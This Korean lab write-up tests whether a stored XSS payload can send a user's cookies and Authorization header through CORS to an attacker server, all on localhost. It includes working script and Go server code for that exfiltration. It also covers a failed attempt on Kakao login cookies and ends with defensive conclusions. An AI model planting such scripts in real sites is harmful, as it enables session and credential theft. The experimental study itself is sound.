개요
- CORS에 대해 알아가다 보니 이를 이용하여 악의적인 스크립트로
사용자 인증 정보를 공격자 서버로 보낼 수도 있겠다(XSS 공격)라는 생각이 들었다. - 그래서 예시를 작성해 실험해보았다.
- gonic-gin CORS 처리
XSS(Cross-stie scripting)
- 정의(MDN 문서에서 아래 내용 발췌)
- XSS는 공격자가 클라이언트 측 스크립트를 웹 사이트에 삽입하여
다른 사용자의 부라우저에서 수행되게 하는 공격의 유형을 말한다. - 삽입된 코드는 웹 사이트에서 피해 사용자의 브라우저로 전송이 됨으로
피해 사용자에게 의심받지 않는다. - 따라서, 그 삽입된 코드는 피해 사용자의 사이트 권한 쿠키를 공격자에게
보내는 종류의 악성 작업을 수행할 수 있다. - 그리고 그것을 전달 받은 공격자는 마치 피해 사용자인 것처럼 위장하여 사이트에
로그인하고 피해 사용자가 할 수 있는 모든 작업을 수행할 수 있다.
- XSS는 공격자가 클라이언트 측 스크립트를 웹 사이트에 삽입하여
- XSS의 특징
- XSS를 완벽히 막는 방법은 없고 매우 막기 힘든 것으로 알고 있다.
- XSS 대응방안
실험개요
- 실험 참여자
- 보안이 허술한 게시판 서버 A(이하 게시판A)와 악의적인 공격자 서버 B(이하 공격자B)가 있다.
- 게시판A 설명
- 게시판A는 사용자에게 게시글을 입력 받아 다른 사용자에게 보여주는 게시판이다.
- 게시판A는 보안이 허술하여 게시글을 보여줄때 어떠한 escape 처리 없이, 게시글을 그대로 렌더한다.
예를들어 ‘<div>나 게시글이오</div>’를 사용자가 입력했으면 ‘나 게시글이오’라고 보여진다.
- 공격자B 설명
- 공격자B는 게시판A에 직접 가입하여 게시판A의 인증방법을 미리 알고 있다.
- 공격자B는 게시판A의 인증방법에 맞춰 CORS 처리를 해둔 서버 세팅을 해두었다.
- 공격자B는 게시판A에 인증정보를 전송하는 스크립트 코드로 된 게시글을 게시한다.
- 이제 게시판A 유저들은 공격자B의 게시글을 보는 순간 스크립트 코드가 실행된다.
실험목적
- 공격자B의 공격이 실행되었을때 게시판A의 인증정보가 넘어오는지 확인한다.
- 게시판A의 인증정보는 Cookie와 Authorization 헤더에 담겼다고 가정한다.
실험환경
- 예시 소스 코드(참고)
- 상황
- 게시판A 호스트: localhost:8888
- 공격자B 호스트: localhost:8889
- 게시판A에서 공격자B의 글 조회 URL: http://localhost:8888/victim/community
- 공격자B의 함정 endpoint
- method: POST
- endpoint: /trap
- 게시판A에서 공격자B의 글 조회 html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
{{ define "victim-community.html" }} <!DOCTYPE html> <html lang="ko"> <head> <meta charset="UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>보안 허술 게시판</title> </head> <body> <div>게시글 본문</div> <div>제목: 이 글 보면 좋은 일 생김</div> <div> 내용: 없음 <script type="text/javascript"> const baseURL = "http://localhost:8889"; const testURL = `${baseURL}/trap`; function setCookie() { // 참고 : https://cofs.tistory.com/363 var date = new Date(); date.setTime(date.getTime() + 60 * 60 * 24 * 1000); document.cookie = `auth=1; expires=' + ${date.toUTCString()}; path=/`; } function testPost() { setCookie(); fetch(testURL, { method: "POST", headers: { Authorization: "Bearer auth2", }, credentials: "include", }) .then((response) => response.json()) .then((responseJson) => console.log("Response", JSON.stringify(responseJson)) ) .catch((error) => console.log("Error", error)); } testPost(); </script> </div> </body> </html> {{ end }}
- 공격자B의 라우터
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
package main import ( "fmt" "net/http" "time" "github.com/gin-contrib/cors" "github.com/gin-gonic/gin" ) func main() { router := gin.Default() router.Use(cors.New( cors.Config{ AllowOrigins: []string{"http://localhost:8888"}, AllowMethods: []string{"POST"}, AllowHeaders: []string{"Origin", "Cookie", "Authorization"}, AllowCredentials: true, MaxAge: 12 * time.Hour, })) router.POST("trap", func(c *gin.Context) { fmt.Println("Cookie", c.Request.Header["Cookie"]) fmt.Println("Authorization", c.Request.Header["Authorization"]) c.JSON(http.StatusOK, gin.H{"code": 0, "msg": "success"}) }) router.Run(":8889") }
- 실행방법
- 게시판A 서버 실행
1 2 3
# 새 bash shell을 엶 cd victim_server go run main.go
- 공격자B 서버 실행
1 2 3
# 새 bash shell을 엶 cd attacker_server go run main.go
- 브라우저에서 script의 fetchAPI를 이용하여 공격자B 서버에 POST 요청
- 브라우저를 켬
- http://localhost:8888/victim/community 로 접속
- (접속하면 자동으로 http://localhost:8889/trap 으로 POST 요청됨)
- 공격자B 서버 bash shell을 관찰하여 endpoint trap에 요청이 들어왔는지 확인
그리고 요청에 담긴 Cookie 헤더와 Authorization 헤더 값을 확인
- 게시판A 서버 실행
실험결과
실험변형 1. 공격자B의 hostname 변경
- 실험의 맹점
- 사실 이 실험에는 맹점이 있다.
- 공격자B가 올린 게시글의 악성스크립트를 보면
AJAX 요청 목적지인 공격자B의 hostname와
AJAX 요청 주체인 게시판A의 hostname이 ‘localhost’로 동일한 것을 알 수 있다.
(공격자B의 endpoint: POST; http://localhost:8889/trap,
게시판A의 게시글 url: http://localhost:8888/victim/community) - 이 경우 브라우저에서 볼때, 게시판A의 서버와 공격자B의 서버가 같다고 인식하게 된다.
- 따라서 쿠키의 동일출처정책에 의하여 게시판A에서 할당한 쿠키가 공격자B로 넘어가게 된다.
- 만약 AJAX 요청 시 공격자B의 hostname을 다르게 설정하면 어떨까?
(실제 상황이라면 다를 것이기 때문)
- 실험환경 수정
- 아래 부분만 수정한 뒤, 이전 실험과 동일한 방법으로 실행한다.
- 게시판A에서 공격자B의 글 조회 html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
{{ define "victim-community.html" }} <!DOCTYPE html> <html lang="ko"> <head> <meta charset="UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>보안 허술 게시판</title> </head> <body> <div>게시글 본문</div> <div>제목: 이 글 보면 좋은 일 생김</div> <div> 내용: 없음 <script type="text/javascript"> // <<< -- 변경 내역 시작 -- <<< // const baseURL = "http://localhost:8889"; const baseURL = "http://127.0.0.1:8889"; // >>> -- 변경 내역 끝 -- >>> const testURL = `${baseURL}/trap`; function setCookie() { // 참고 : https://cofs.tistory.com/363 var date = new Date(); date.setTime(date.getTime() + 60 * 60 * 24 * 1000); document.cookie = `auth=1; expires=' + ${date.toUTCString()}; path=/`; } function testPost() { setCookie(); fetch(testURL, { method: "POST", headers: { Authorization: "Bearer auth2", }, credentials: "include", }) .then((response) => response.json()) .then((responseJson) => console.log("Response", JSON.stringify(responseJson)) ) .catch((error) => console.log("Error", error)); } testPost(); </script> </div> </body> </html> {{ end }}
공격자B의 hostname 변경 실험 결과
실험변형 2. 카카오 소셜로그인 서비스 공격
- 의문
- 실험변형 개요
- 게시글A에서 실험용 페이지 victim-community-kakao.html를 만든다.
- victim-community-kakao.html에 카카오 로그인과 공격자B 서버로
AJAX 요청을 하는 ‘공격 버튼’을 만든다. - 사용자가 http://localhost:8888/victim/community/kakao 에 접속하여
카카오 로그인을 한 후 ‘공격 버튼’을 클릭한다. - 공격자B 서버 bash shell을 관찰하여 endpoint trap에 요청이 들어왔는지 확인한다.
그리고 요청에 담긴 Cookie 헤더와 Authorization 헤더 값을 확인한다.
- 주의사항
- 팝업 방식으로 카카오 로그인 구현 시 카카오앱의 javascript key가 필요하다.
- 카카오 개발자로 이동하여 실험용 카카오앱을 만들고 javascript key를 발급받자.
- 실험환경 수정
- 게시판A 서버에서 victim-community-kakao.html를 만들고 라우터를 생성한다.
(endpoint GET; victim/community/kakao로 라우터에 추가(참고)) - 나머지 부분은 이전 실험과 동일하다
- 실행방법은 실험변경 개요에서 서술한 것과 같이 진행한다.
- victim-community-kakao.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
{{ define "victim-community-kakao.html" }} <!DOCTYPE html> <html lang="ko"> <head> <meta charset="UTF-8" /> <meta content="yes" name="apple-mobile-web-app-capable" /> <meta content="minimum-scale=1.0, width=device-width, maximum-scale=1, user-scalable=no" name="viewport" /> <script src="https://developers.kakao.com/sdk/js/kakao.js"></script> </head> <body> <div>로그인 상태: <span id="login-status">로그인 안 함</span></div> <a id="login">카카오 로그인</a> <div> <div style="display: block; margin-top: 100px">게시판 낚시 글</div> <button onclick="(function() { var xhr = new XMLHttpRequest(); var url = 'http://127.0.0.1:8889/trap'; xhr.open('POST', url, true); xhr.withCredentials = true xhr.onreadystatechange = function() { if (xhr.readyState === XMLHttpRequest.DONE) { var status = xhr.status; if (status === 0 || (status >= 200 && status < 400)) { console.log('You are in my trap', xhr.responseText) } else { console.log('I failed to get you into my trap.', xhr.responseText) } } } xhr.send() })()" > ☆★☆★누르면 놀라운 일이 벌어짐☆★☆★ </button> </div> <script type="text/javascript"> var loginStatusElem; document.addEventListener("DOMContentLoaded", function () { loginStatusElem = document.querySelector("#login-status"); // 본인 소유의 카카오 javascript key 입력 Kakao.init("your-kakao-app-javascript-key"); Kakao.isInitialized(); console.log(Kakao.isInitialized()); Kakao.Auth.createLoginButton({ container: "#login", success: function (response) { console.log("success", response); loginStatusElem.innerHTML = "로그인 중"; }, fail: function (error) { console.log("login is failed", error); loginStatusElem.innerHTML = "로그인 실패"; }, }); }); </script> </body> </html> {{ end }}
- 게시판A 서버에서 victim-community-kakao.html를 만들고 라우터를 생성한다.
카카오 소셜로그인 서비스 공격 실험결과
- 실패
- 이유
- 카카오 인증정보 쿠키를 보면 domain이 localhost가 아니다.
- 쿠키의 동일출처정책에 의해 브라우저는
공격자B의 서버와 카카오 인증정보 쿠키를 할당한 서버가 다르다고 판명하고
공격자B로의 AJAX 요청에 카카오 인증정보를 보내지 않은 것이다.
결론
- 대부분의 웹 프레임워크는 기본적으로 escaping script를 하고 렌더한다.
- 이 실험은 XSS가 성공했다고 가정하고 한 실험이다.
- 일반적으로 웹 프레임워크는 사용자에게 받은 데이터를 DB에 저장하고
이를 꺼내 뷰로 뿌리면 innerText로 지정되어 해당 내용이 그대로 렌더되지 않는다. - 예를들면, Label 태그에 개행(newLine) 넣기 과 같이
gotemplate 역시 escaping 처리되어 나오는 것을 알 수 있다. - 하지만 DOM-based 방식 외의 다른 방법으로 XSS를 시도한다면 이 방법으로 막을 수 없다.
- Authorization Header보다 Cookie가 안전할지도?
- 위 실험결과만 보면 HttpOnly 설정과 Secure 설정등의 옵션이 체크된 Cookie가
Authorization Header보다 안전할 수도 있다고 생각이 들었다. - 만약 게시판A에서 기본인증을 사용하여 Authorization Header로 인증을 구현하고 있었다면,
위 실험과 같은 방법으로 공격자B는 base64 문자열을 decode 하여
사용자의 ID, password를 확보할 수 있을 것이다.
- 위 실험결과만 보면 HttpOnly 설정과 Secure 설정등의 옵션이 체크된 Cookie가